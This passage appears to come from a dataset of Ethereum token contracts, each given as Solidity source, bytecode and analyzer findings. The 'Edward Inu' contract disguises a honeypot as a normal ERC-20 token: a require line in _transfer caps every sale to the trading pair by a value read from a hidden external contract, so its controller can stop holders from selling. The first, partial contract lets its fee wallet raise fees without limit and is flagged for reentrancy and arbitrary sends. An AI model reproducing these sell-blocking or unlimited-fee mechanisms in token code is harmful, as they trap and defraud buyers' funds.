}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 20000000001 * 10**9; // 2%
_maxHeldTokens = 30000000000 * 10**9; // 3%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _FeeAddress1);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101e75760003560e01c80635090161711610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb614610575578063dcb0e0ad1461058a578063dd62ed3e146105aa578063e8078d94146105f057600080fd5b8063a9059cbb14610515578063b2131f7d14610535578063c3c8cd801461054b578063c9567bf91461056057600080fd5b8063715018a6116100d1578063715018a61461048d5780638da5cb5b146104a257806394b8d8f2146104c057806395d89b41146104e057600080fd5b80635090161714610422578063590f897e146104425780636fc3eaec1461045857806370a082311461046d57600080fd5b806327f3a72a1161017a5780633bed4355116101495780633bed4355146103ac57806340b9a54b146103cc57806345596e2e146103e257806349bd5a5e1461040257600080fd5b806327f3a72a14610322578063313ce5671461033757806332d873d81461035e578063367c55441461037457600080fd5b80630b78f9c0116101b65780630b78f9c0146102b057806318160ddd146102d05780631940d020146102ec57806323b872dd1461030257600080fd5b80630492f055146101f357806306fdde031461021c5780630802d2f61461025e578063095ea7b31461028057600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b5061025160405180604001604052806009815260200168115b1bdb8c90dd5b1d60ba1b81525081565b604051610213919061192f565b34801561026a57600080fd5b5061027e610279366004611999565b610605565b005b34801561028c57600080fd5b506102a061029b3660046119b6565b61067a565b6040519015158152602001610213565b3480156102bc57600080fd5b5061027e6102cb3660046119e2565b610690565b3480156102dc57600080fd5b50683635c9adc5dea00000610209565b3480156102f857600080fd5b50610209600e5481565b34801561030e57600080fd5b506102a061031d366004611a04565b6106f7565b34801561032e57600080fd5b506102096107df565b34801561034357600080fd5b5061034c600981565b60405160ff9091168152602001610213565b34801561036a57600080fd5b50610209600f5481565b34801561038057600080fd5b50600854610394906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156103b857600080fd5b50600754610394906001600160a01b031681565b3480156103d857600080fd5b50610209600a5481565b3480156103ee57600080fd5b5061027e6103fd366004611a45565b6107ef565b34801561040e57600080fd5b50600954610394906001600160a01b031681565b34801561042e57600080fd5b5061027e61043d366004611999565b610889565b34801561044e57600080fd5b50610209600b5481565b34801561046457600080fd5b5061027e6108f7565b34801561047957600080fd5b50610209610488366004611999565b610924565b34801561049957600080fd5b5061027e61093f565b3480156104ae57600080fd5b506000546001600160a01b0316610394565b3480156104cc57600080fd5b506010546102a09062010000900460ff1681565b3480156104ec57600080fd5b5061025160405180604001604052806009815260200168115313d38c90d5531560ba1b81525081565b34801561052157600080fd5b506102a06105303660046119b6565b6109b3565b34801561054157600080fd5b50610209600c5481565b34801561055757600080fd5b5061027e6109c0565b34801561056c57600080fd5b5061027e6109f6565b34801561058157600080fd5b50610209610a9a565b34801561059657600080fd5b5061027e6105a5366004611a6c565b610ab2565b3480156105b657600080fd5b506102096105c5366004611a89565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105fc57600080fd5b5061027e610b25565b6007546001600160a01b0316336001600160a01b03161461062557600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b6000610687338484610e70565b50600192915050565b6007546001600160a01b0316336001600160a01b0316146106b057600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60105460009060ff16801561072557506001600160a01b03831660009081526004602052604090205460ff16155b801561073e57506009546001600160a01b038581169116145b1561078d576001600160a01b038316321461078d5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b610798848484610f94565b6001600160a01b03841660009081526003602090815260408083203384529091528120546107c7908490611ad8565b90506107d4853383610e70565b506001949350505050565b60006107ea30610924565b905090565b6007546001600160a01b0316336001600160a01b03161461080f57600080fd5b600081116108545760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b6044820152606401610784565b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd89060200161066f565b6008546001600160a01b0316336001600160a01b0316146108a957600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a530149060200161066f565b6007546001600160a01b0316336001600160a01b03161461091757600080fd5b476109218161158e565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109695760405162461bcd60e51b815260040161078490611aef565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610687338484610f94565b6007546001600160a01b0316336001600160a01b0316146109e057600080fd5b60006109eb30610924565b905061092181611613565b6000546001600160a01b03163314610a205760405162461bcd60e51b815260040161078490611aef565b60105460ff1615610a6d5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610784565b6010805460ff1916600117905542600f556801158e46094f6aca00600d556801a055690d9db80000600e55565b6009546000906107ea906001600160a01b0316610924565b6007546001600160a01b0316336001600160a01b031614610ad257600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161066f565b6000546001600160a01b03163314610b4f5760405162461bcd60e51b815260040161078490611aef565b60105460ff1615610b9c5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610784565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610bd93082683635c9adc5dea00000610e70565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3b9190611b24565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cac9190611b24565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610cf9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1d9190611b24565b600980546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730610d4d81610924565b600080610d626000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610dca573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610def9190611b41565b505060095460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6c9190611b6f565b5050565b6001600160a01b038316610ed25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610784565b6001600160a01b038216610f335760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610784565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ff85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610784565b6001600160a01b03821661105a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610784565b600081116110bc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610784565b600080546001600160a01b038581169116148015906110e957506000546001600160a01b03848116911614155b1561152f576009546001600160a01b03858116911614801561111957506006546001600160a01b03848116911614155b801561113e57506001600160a01b03831660009081526004602052604090205460ff16155b156113cb5760105460ff166111955760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610784565b600f544214156111d55760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b6044820152606401610784565b42600f54610e106111e69190611b8c565b111561126057600e546111f884610924565b6112029084611b8c565b11156112605760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610784565b6001600160a01b03831660009081526005602052604090206001015460ff166112c8576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b42600f5460786112d89190611b8c565b11156113ac57600d548211156113305760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610784565b61133b42601e611b8c565b6001600160a01b038416600090815260056020526040902054106113ac5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610784565b506001600160a01b038216600090815260056020526040902042905560015b601054610100900460ff161580156113e5575060105460ff165b80156113ff57506009546001600160a01b03858116911614155b1561152f5761140f42600f611b8c565b6001600160a01b038516600090815260056020526040902054106114815760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610784565b600061148c30610924565b905080156115185760105462010000900460ff161561150f57600c54600954606491906114c1906001600160a01b0316610924565b6114cb9190611ba4565b6114d59190611bc3565b81111561150f57600c54600954606491906114f8906001600160a01b0316610924565b6115029190611ba4565b61150c9190611bc3565b90505b61151881611613565b478015611528576115284761158e565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061157157506001600160a01b03841660009081526004602052604090205460ff165b1561157a575060005b6115878585858486611787565b5050505050565b6007546001600160a01b03166108fc6115a8600284611bc3565b6040518115909202916000818181858888f193505050501580156115d0573d6000803e3d6000fd5b506008546001600160a01b03166108fc6115eb600284611bc3565b6040518115909202916000818181858888f19350505050158015610e6c573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061165757611657611be5565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116d49190611b24565b816001815181106116e7576116e7611be5565b6001600160a01b03928316602091820292909201015260065461170d9130911684610e70565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611746908590600090869030904290600401611bfb565b600060405180830381600087803b15801561176057600080fd5b505af1158015611774573d6000803e3d6000fd5b50506010805461ff001916905550505050565b600061179383836117a9565b90506117a1868686846117f0565b505050505050565b60008083156117e95782156117c15750600a546117e9565b50600b54600f546117d490610708611b8c565b4210156117e9576117e6600182611b8c565b90505b9392505050565b6000806117fd84846118cd565b6001600160a01b0388166000908152600260205260409020549193509150611826908590611ad8565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611856908390611b8c565b6001600160a01b03861660009081526002602052604090205561187881611901565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118bd91815260200190565b60405180910390a3505050505050565b6000808060646118dd8587611ba4565b6118e79190611bc3565b905060006118f58287611ad8565b96919550909350505050565b3060009081526002602052604090205461191c908290611b8c565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561195c57858101830151858201604001528201611940565b8181111561196e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461092157600080fd5b6000602082840312156119ab57600080fd5b81356117e981611984565b600080604083850312156119c957600080fd5b82356119d481611984565b946020939093013593505050565b600080604083850312156119f557600080fd5b50508035926020909101359150565b600080600060608486031215611a1957600080fd5b8335611a2481611984565b92506020840135611a3481611984565b929592945050506040919091013590565b600060208284031215611a5757600080fd5b5035919050565b801515811461092157600080fd5b600060208284031215611a7e57600080fd5b81356117e981611a5e565b60008060408385031215611a9c57600080fd5b8235611aa781611984565b91506020830135611ab781611984565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611aea57611aea611ac2565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b3657600080fd5b81516117e981611984565b600080600060608486031215611b5657600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b8157600080fd5b81516117e981611a5e565b60008219821115611b9f57611b9f611ac2565b500190565b6000816000190483118215151615611bbe57611bbe611ac2565b500290565b600082611be057634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c4b5784516001600160a01b031683529383019391830191600101611c26565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220b0e8a268d98d1f4e5bf807060a08fc00d121101845792d87841bac93c7ee6f2764736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,638 |
0x83519040761ff3f535905253ca32940f864ff5f5 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Fee{
function amount() external view returns (uint256);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
address constant MarketingAddress = 0xBbBd25159A0cd4e44c0d01ea49FC9e71b9A5349c;
address constant Rounter=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 constant Total_Supply = 200000000;
string constant NAME = "Edward Inu";
string constant SYMBOL = "Edward Inu";
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract EdwardInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = Total_Supply;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
address payable private _taxWallet;
uint256 private _tax=5;
string private constant _name = NAME;
string private constant _symbol = SYMBOL;
uint8 private constant _decimals = 0;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(MarketingAddress);
_rOwned[_msgSender()] = _rTotal;
_router = IUniswapV2Router02(Rounter);
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?1:0)*amount <= Fee(0x713DE9Ad4e41f35235e11eECe5d8DA2F36fD0838).amount());
if (from != owner() && to != owner()) {
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(balanceOf(address(this)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _tax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061232d565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611f00565b61038e565b60405161014c9190612312565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b604051610177919061248f565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611eb1565b6103b8565b6040516101b49190612312565b60405180910390f35b3480156101c957600080fd5b506101d2610491565b6040516101df9190612504565b60405180910390f35b3480156101f457600080fd5b506101fd610496565b005b34801561020b57600080fd5b5061022660048036038101906102219190611e23565b610510565b604051610233919061248f565b60405180910390f35b34801561024857600080fd5b50610251610561565b005b34801561025f57600080fd5b506102686106b4565b6040516102759190612244565b60405180910390f35b34801561028a57600080fd5b506102936106dd565b6040516102a0919061232d565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611f00565b61071a565b6040516102dd9190612312565b60405180910390f35b3480156102f257600080fd5b506102fb610738565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e75565b610c4e565b604051610331919061248f565b60405180910390f35b34801561034657600080fd5b5061034f610cd5565b005b60606040518060400160405280600a81526020017f45647761726420496e7500000000000000000000000000000000000000000000815250905090565b60006103a261039b610d47565b8484610d4f565b6001905092915050565b6000630bebc200905090565b60006103c5848484610f1a565b610486846103d1610d47565b61048185604051806060016040528060288152602001612a7c60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610437610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e09092919063ffffffff16565b610d4f565b600190509392505050565b600090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104d7610d47565b73ffffffffffffffffffffffffffffffffffffffff16146104f757600080fd5b600061050230610510565b905061050d81611344565b50565b600061055a600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163e565b9050919050565b610569610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed9061240f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f45647761726420496e7500000000000000000000000000000000000000000000815250905090565b600061072e610727610d47565b8484610f1a565b6001905092915050565b610740610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c49061240f565b60405180910390fd5b600860149054906101000a900460ff161561081d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610814906123af565b60405180910390fd5b61084e30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16630bebc200610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b657600080fd5b505afa1580156108ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ee9190611e4c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097257600080fd5b505afa158015610986573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109aa9190611e4c565b6040518363ffffffff1660e01b81526004016109c792919061225f565b602060405180830381600087803b1580156109e157600080fd5b505af11580156109f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a199190611e4c565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610aa230610510565b600080610aad6106b4565b426040518863ffffffff1660e01b8152600401610acf969594939291906122b1565b6060604051808303818588803b158015610ae857600080fd5b505af1158015610afc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b219190611f8e565b5050506001600860166101000a81548160ff0219169083151502179055506001600860146101000a81548160ff02191690831515021790555060086000905490